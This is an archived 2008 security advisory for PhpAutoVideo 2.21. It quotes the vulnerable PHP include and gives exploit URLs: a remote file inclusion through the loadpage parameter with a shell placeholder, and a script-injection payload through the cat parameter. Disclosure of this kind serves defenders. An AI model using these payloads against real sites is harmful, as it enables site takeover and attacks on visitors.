Bug: Agares PhpAutoVideo 2.21(XSS/RFI) Multiple Remote Vulnerabilities ( Ascii Version )

Search:
WLB2

Agares PhpAutoVideo 2.21(XSS/RFI) Multiple Remote Vulnerabilities

Published
Credit
Risk
2008.01.23
HouSSaMix & ToXiC350
High
CWE
CVE
Local
Remote
CWE-98
CVE-2008-0432
CVE-2008-0433
No
Yes

------------------------------------------------------------------------
-----------

- Author : H-T Team { HouSSaMix & ToXiC350 } From MoRoCCo -

------------------------------------------------------------------------
-----------

# Script : Agares PhpAutoVideo 2.21 and below

# Download : http://scriptmafia.org/2007/12/19/agares_phpautovideo_v2.21.html

# BUG : (XSS/RFI) Multiple Remote Vulnerabilities

## Remote File Inclusion

[+] Vulnerable CODE :

~~~~~~~~~ /theme/phpAutoVideo/LightTwoOh/sidebar.php ~~~~~~~~~~~~~~~~~

<?PHP include($loadpage); ?>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[+] Exploit :

[Target.il]/[Path]/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=[S
H3LL]

=> other RFI was found in this script for version 2.21 ( http://www.milw0rm.com/exploits/4782 )

## XSS exploit :

%22%3E%3Cscript%3Ealert(1);%3C/script%3E

[Target.il]/[Path]/index.php?cat=%22%3E%3Cscript%3Ealert(1);%3C/script%3
E

[Target.il]/[Path]/index.php?cat=<br> XSS found by HouSSaMix and ToXiC350

=> works for all versions

------------------------------------------------------------------------
-----------

- Gr33tz : coNan , GoLd_M , RoMaNcYxHaCkEr , Rachidox , and all muslims Hackers -

------------------------------------------------------------------------
-----------

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version